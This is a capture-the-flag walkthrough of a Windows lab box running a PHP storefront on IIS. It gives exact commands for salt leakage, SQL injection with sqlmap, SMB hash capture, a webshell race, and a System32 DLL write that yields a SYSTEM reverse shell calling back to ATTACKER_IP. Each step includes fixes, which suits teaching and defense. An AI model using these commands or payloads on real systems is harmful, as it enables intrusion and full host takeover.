← all walkthroughs

Proper

Windows· Hard· Web
owned
2026-07-11
time to own
25m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target host exposed only one service: a PHP e-commerce application running on Microsoft IIS. I omitted a required integrity parameter from the product-listing API, crashing the application in a way that printed the application's internal signing secret to the browser. With that secret, any API request could be forged, which unlocked SQL injection against a sort parameter; the resulting database dump contained customer passwords stored as fast, unsalted MD5 hashes that cracked in seconds against a common wordlist.

The cracked credentials authenticated to a second portal whose theme feature passed a caller-supplied path directly to PHP file-read and file-include calls. Pointing the path at my own file server forced the IIS worker to authenticate outward over SMB, leaking the service account credential hash, while also giving me control over what file content the portal read. A race condition between the portal's content-safety check and its subsequent file-include was won by serving a harmless oversized decoy, then swapping in a PHP backdoor mid-request, yielding a shell on the Windows host as the web service account and the first flag.

Privilege escalation exploited a custom cleanup utility that ran as NT AUTHORITY\SYSTEM and accepted restore commands over a named pipe that any local user could reach. By staging a malicious DLL, letting the service record its internal tracking entry, rewriting that entry to point at a Windows system directory, and issuing a restore command, I tricked the service into writing the DLL into System32 as SYSTEM. Triggering the Windows Update Orchestrator to load the DLL executed the payload with full system authority, yielding the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Confirmed single-port attack surface on a PHP storefront behind IIS
A full TCP port scan showed only port 80 open; all Active Directory and management ports (445, 88, 389, 5985, etc.) were filtered. Service fingerprinting identified Microsoft IIS 10.0 hosting a PHP application. Inspecting the homepage source revealed an endpoint products-ajax.php that accepted two parameters: order (a column name) and h (an HMAC integrity hash), establishing both the SQL surface and the hash-forging puzzle that the next step resolved.
Nmap -p- result: 80/tcp open http Microsoft IIS httpd 10.0; all AD ports filtered.
Exact commands 3
Full-port scan; only 80/tcp responds.
nmap -p- --min-rate 3000 -T4 -Pn $TARGET
Service version confirms IIS 10.0 and PHP.
nmap -sV -Pn -p 80 $TARGET
Extract PHP endpoint references from the homepage source.
curl -s http://$TARGET/ | grep -Eo '[a-zA-Z0-9_./-]+\.php[^"< ]*'
2EnumerationVerbose error message leaking sensitive data (CWE-209)
Triggered a verbose PHP crash that disclosed the application's HMAC signing secret
Requesting products-ajax.php without the h parameter caused the application to throw an unhandled exception and print a full PHP stack trace to the HTTP response. The trace exposed the constant SECURE_PARAM_SALT (value: [REDACTED: recovered credential]) and the integrity formula h = md5(salt + order). With the salt recovered, I could compute a valid h for any arbitrary order value, removing the only guard on the SQL injection surface.
Curl 'http://$TARGET/products-ajax.php?order=name' (h omitted) returned PHP exception disclosing SECURE_PARAM_SALT=[REDACTED: recovered credential] and the md5(salt+order) formula.
Exact commands 2
Omitting h triggers the uncaught exception; read SECURE_PARAM_SALT from the stack trace in the response.
curl -s "http://$TARGET/products-ajax.php?order=name"
Verify the recovered formula produces the expected h value before proceeding to SQLi.
python3 -c "import hashlib; salt='$PASSWORD2'; order='name'; print(hashlib.md5((salt+order).encode()).hexdigest())"
FixDisable verbose PHP error output in every production environmentHigh
WeaknessThe application printed a full PHP stack trace to the browser when a required parameter was missing. The trace exposed an internal application secret (SECURE_PARAM_SALT) and the HMAC formula, giving any unauthenticated visitor everything needed to forge integrity hashes and unlock the SQL injection surface.
FixSet display_errors = Off and log_errors = On (to a server-side log file) in php.ini for all production hosts. Implement a custom error handler that returns only a generic HTTP 500 page with no internal detail. Audit .htaccess files and any runtime ini_set() calls that might override this setting. Rotate SECURE_PARAM_SALT immediately, as the exposed value must be treated as compromised.
3ExploitationSQL Injection in ORDER BY clause (T1190, CWE-89)
Injected SQL into the sort parameter using forged hashes to dump customer password hashes
The order parameter was concatenated directly into a SQL ORDER BY clause with no allowlist or parameterization. By recomputing h = md5(salt + order) for each injected value, I bypassed the integrity check transparently. Feeding this to sqlmap in evaluation mode (--eval) with boolean-blind, time-based, and error-based probes confirmed injection and dumped the cleaner.customers table. Two MD5 password hashes cracked in seconds against the rockyou wordlist: vikki.solomon@throwaway.mail recovered [REDACTED: recovered credential] and nstone@trashbin.mail recovered [REDACTED: recovered credential]
Sqlmap --eval dump of cleaner.customers returned credential rows; hashcat cracked both MD5 hashes instantly; credentials confirmed against /licenses/.
Exact commands 2
The --eval clause recomputes h before every request, keeping the integrity check satisfied across all payloads.
sqlmap -u "http://$TARGET/products-ajax.php?order=id&h=dummy" -p order --eval="import hashlib; h=hashlib.md5(('$PASSWORD2'+order).encode()).hexdigest()" --batch --level=3 --risk=2 --technique=BEUT --dbms=mysql -D cleaner -T customers --dump
Crack the dumped MD5 hashes; both fall immediately to common-password wordlist entries.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --force
FixAllowlist permitted column names in the products API to eliminate SQL injectionCritical
WeaknessThe order parameter was interpolated directly into a SQL ORDER BY clause with no validation. Because ORDER BY does not support bind parameters, the code had to build the query with user input -- but it did so without any restriction, allowing anyone who could forge h to inject arbitrary SQL and extract the entire database.
FixValidate order against an explicit allowlist of permitted column names (for example: ['id', 'name', 'price', 'category']) before constructing the query; reject anything not on the list with HTTP 400. Regenerate the SECURE_PARAM_SALT and deploy it only via an environment variable or secrets manager -- never hard-coded in source. Apply parameterized queries to all other SQL in the application.
4Credential AccessValid Accounts -- cracked credential reuse (T1078)
Authenticated to the /licenses portal with cracked customer credentials
The cracked credentials authenticated to a second application at /licenses/. The licensing portal's theme feature also consumed the h = md5(salt + theme) formula, making its path parameter trivially forgeable with the same recovered salt. This portal became the launchpad for the file-read and file-include attacks that followed.
POST to /licenses/ with username=vikki.solomon@throwaway.mail and password=[REDACTED: recovered credential] issued a valid session cookie, confirmed in the engagement kill-chain command.
Exact commands 2
Saves the authenticated session cookie to cookies.txt for subsequent /licenses/ requests.
curl -c cookies.txt -d "username=vikki.solomon@throwaway.mail&password=$PASSWORD" http://$TARGET/licenses/
Pre-compute h for the UNC theme path before the next step.
python3 -c "import hashlib; theme='\\\\$ATTACKER_IP\\share'; print(hashlib.md5(('$PASSWORD2'+theme).encode()).hexdigest())"
FixReplace MD5 password hashing with bcrypt or Argon2idHigh
WeaknessCustomer passwords were stored as unsalted MD5 hashes. MD5 is a general-purpose hash designed for speed, not security; both recovered hashes cracked in seconds against a 14-million-entry wordlist on commodity hardware.
FixMigrate to bcrypt (cost factor 12 or higher) or Argon2id (memory 64 MB, iterations 3, parallelism 1) for all stored passwords. Force a password reset for every existing account, as all hashes stored under the current scheme must be considered exposed. Enforce a minimum password policy (12 or more characters, mixed character classes) to limit the utility of future wordlist attacks.
5ExploitationForced SMB Authentication / NTLM hash capture (T1187)
Forced the IIS worker to authenticate to me SMB server via an unsanitized UNC path in the theme parameter
The theme parameter in the licensing portal was passed directly to PHP's file_get_contents() without blocking UNC (\\server\share) paths. By pointing it at my own SMB listener, I caused the IIS application pool, running as proper\web, to initiate an outbound SMB connection and transmit a NetNTLMv2 challenge-response. This simultaneously leaked a credential hash for potential offline cracking and established my file server as the content source for the TOCTOU race in the next step.
Impacket-smbserver received an inbound connection from $TARGET; proper\web NetNTLMv2 hash logged to terminal.
Exact commands 2
Start the rogue SMB server; place header.inc inside /tmp/serve before the next command.
mkdir -p /tmp/serve && impacket-smbserver share /tmp/serve -smb2support
Triggers the UNC file_get_contents call; watch the SMB server output for the incoming NetNTLMv2 authentication.
THEME="\\\\$ATTACKER_IP\\share\\header.inc"; H=$(python3 -c "import hashlib; print(hashlib.md5(('$PASSWORD2'+'$THEME').encode()).hexdigest())"); curl -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H"
FixBlock UNC and remote path schemes in all file_get_contents calls that consume user inputCritical
WeaknessThe theme parameter was passed to file_get_contents() without filtering UNC paths (\\server\share). This allowed an unauthorised user to force the IIS application pool to initiate an outbound SMB connection to an external server, disclosing the service account's NetNTLMv2 credential hash and giving an unauthorised user control over what content the application read.
FixValidate that any resolved file path begins with a predetermined safe base directory (use PHP's realpath() and check the prefix). Explicitly reject values that begin with \\ or contain path separators pointing outside the allowed tree. If the application requires remote theming, implement a controlled upload workflow that downloads and caches approved theme files server-side at configuration time, never during a live user request.
6Exploitation / Remote Code ExecutionTime-of-check Time-of-use (TOCTOU) file include race (CWE-367)
Won a TOCTOU race between the file tamper check and include() to execute a PHP webshell as proper\web
The portal called file_get_contents() on the theme path once to check whether the content contained PHP tags, then called include() on the same path a moment later. Because both reads fetched the file from my SMB share, I could serve different content to each call. By initially serving a 1 MB benign file (slowing the tamper-check read), then swapping in a PHP webshell the instant the tamper check opened the file (detected via inotifywait), the check passed but the include() executed the malicious version. After multiple race attempts, the webshell ran as proper\web, confirming remote code execution and capturing user.txt.
Exact commands 5
Create an oversized benign header.inc that delays the tamper-check read enough for the swap.
dd if=/dev/urandom bs=1M count=1 | base64 > /tmp/serve/header.inc
Prepare the PHP webshell payload to swap in.
printf '<?php system($_GET["cmd"]); ?>' > /tmp/serve/pwn.inc
Background race trigger: the moment the tamper check opens header.inc, overwrite it with the webshell.
inotifywait -m -e open /tmp/serve/header.inc --format '%e' | while read e; do cp /tmp/serve/pwn.inc /tmp/serve/header.inc; done &
Hammer the endpoint; success is when the response contains proper\web instead of an error.
THEME="\\\\$ATTACKER_IP\\share\\header.inc"; H=$(python3 -c "import hashlib; print(hashlib.md5(('$PASSWORD2'+'$THEME').encode()).hexdigest())"); for i in $(seq 1 60); do curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=whoami"; done
Read user.txt once RCE is confirmed; expected value is <user.txt>.
THEME="\\\\$ATTACKER_IP\\share\\header.inc"; H=$(python3 -c "import hashlib; print(hashlib.md5(('$PASSWORD2'+'$THEME').encode()).hexdigest())"); curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=type+C:\\Users\\web\\Desktop\\user.txt"
FixRead a user-supplied file exactly once and validate its content before passing it to include()Critical
WeaknessThe licensing portal called file_get_contents() on the theme path to check for forbidden PHP tags, then called include() on the same external path a moment later. Because the file could be replaced between the two operations, an unauthorised user could pass the content check with a benign file and execute arbitrary PHP on the include call.
FixRead the file into a local variable once, validate the content of that variable, and if it passes, use eval() on the local copy -- never re-read from the original source. Better still, prohibit including files from any user-supplied or network-accessible path entirely; restrict theme files to a server-local directory populated only by administrators.
7Privilege Escalation -- SetupUnauthenticated named pipe -- arbitrary file write as SYSTEM (T1543.003, T1574.001)
Abused the cleanup service named pipe to write a malicious DLL into System32 as SYSTEM
C:\Program Files\cleanup contained a Go-based service (server.exe) that listened on the named pipe \\.\pipe\cleanupPipe with no authentication. Any local user could connect and issue CLEAN (stage a file, record its path as a base64 filename in C:\ProgramData\cleanup) or RESTORE (write the staged content back to the decoded path, running as NT AUTHORITY\SYSTEM). The C:\ProgramData\cleanup directory was world-writable. I staged a reverse-shell DLL named WindowsCoreDeviceInfo.dll (with a QueryDeviceInformation export for UsoDllLoader compatibility), backdated its LastWriteTime by 35 days to pass the service's 30-day age gate, issued a CLEAN to record it, then renamed the ProgramData tracking file to the base64 encoding of C:\Windows\System32\WindowsCoreDeviceInfo.dll (with a padding character appended to compensate for the service's last-char truncation bug) and issued RESTORE over the pipe. The MD5 of the restored file matched the locally built payload, confirming the arbitrary write primitive.
MD5 C:\Windows\System32\WindowsCoreDeviceInfo.dll = [REDACTED: sensitive value] == locally built payload MD5; QueryDeviceInformation export confirmed present.
Exact commands 7
Build the reverse-shell DLL; add a named QueryDeviceInformation export (e.g. Via a C stub) to satisfy the UsoDllLoader resolution path.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f dll -o WindowsCoreDeviceInfo.dll
Transfer the DLL to the target via the webshell; substitute valid theme/h values.
curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=copy+\\\\$ATTACKER_IP\\share\\WindowsCoreDeviceInfo.dll+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll"
Backdate the timestamp by 35 days to satisfy the cleanup service's >30-day age gate.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"(Get-Item+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll).LastWriteTime+%3d+(Get-Date).AddDays(-35)"'
CLEAN the DLL; the service stores its content and writes a base64-encoded filename record to C:\ProgramData\cleanup.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd="C:\\Program+Files\\cleanup\\client.exe"+CLEAN+"C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll"'
Compute the base64 target path with a trailing padding character to compensate for the service's last-char truncation.
python3 -c "import base64; p='C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll'; print(base64.b64encode(p.encode()).decode()+'A')"
Replace <old_record> with the filename written by CLEAN and <new_b64_name> with the System32 base64 computed above.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"Rename-Item+C:\\ProgramData\\cleanup\\<old_record>+<new_b64_name>"'
Issue RESTORE directly over the named pipe; the service writes the staged DLL to C:\Windows\System32 as SYSTEM.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"$p+%3d+[System.IO.Pipes.NamedPipeClientStream]::new(\'.\',\'cleanupPipe\',[System.IO.Pipes.PipeDirection]::InOut);+$p.Connect();+$w+%3d+[System.IO.StreamWriter]::new($p);+$w.AutoFlush%3d%24true;+$w.WriteLine(\'RESTORE\');+Start-Sleep+2;+$p.Dispose()"'
FixRun the cleanup service as a least-privilege account and restrict named-pipe access and destination pathsCritical
WeaknessThe cleanup service's RESTORE command wrote caller-supplied file content to an externally controlled destination path, running as NT AUTHORITY\SYSTEM with no authentication on the named pipe and no restriction on where files could be written. The C:\ProgramData\cleanup tracking directory was writable by all local users, allowing any process to swap the recorded target path before a RESTORE was issued.
FixCreate a dedicated low-privilege service account and run the cleanup service under it, removing any SYSTEM-level requirement. Set a strict DACL on \\.\pipe\cleanupPipe so only the service account and the Administrators group can connect. Implement destination-path allowlisting in the RESTORE handler so only pre-approved directories are valid targets. Remove write access to C:\ProgramData\cleanup for non-administrative users. Review whether RESTORE needs to write to system directories at all; if not, explicitly deny those paths.
8Full CompromiseDLL Search Order Hijacking via UsoDllLoader (T1574.001)
Triggered UsoDllLoader DLL search-order hijack to achieve NT AUTHORITY\SYSTEM execution
With WindowsCoreDeviceInfo.dll planted in System32, the Windows Update Orchestrator service (UsoSvc, running as SYSTEM inside svchost) loads it when a scan is initiated. Running usoclient StartInteractiveScan caused UsoSvc to search its DLL load path, locate my file in System32 before any legitimate copy, and call QueryDeviceInformation -- executing the reverse-shell payload as NT AUTHORITY\SYSTEM. The inbound connection to my listener yielded a full SYSTEM shell and access to root.txt.
Exact commands 3
Start the reverse-shell listener on my machine before triggering the DLL load.
nc -lvnp 4444
Initiate a Windows Update scan; UsoSvc loads WindowsCoreDeviceInfo.dll from System32 as SYSTEM, connecting back to port 4444.
curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=usoclient+StartInteractiveScan"
Run from the SYSTEM shell; expected value is <root.txt>.
type C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

80/tcp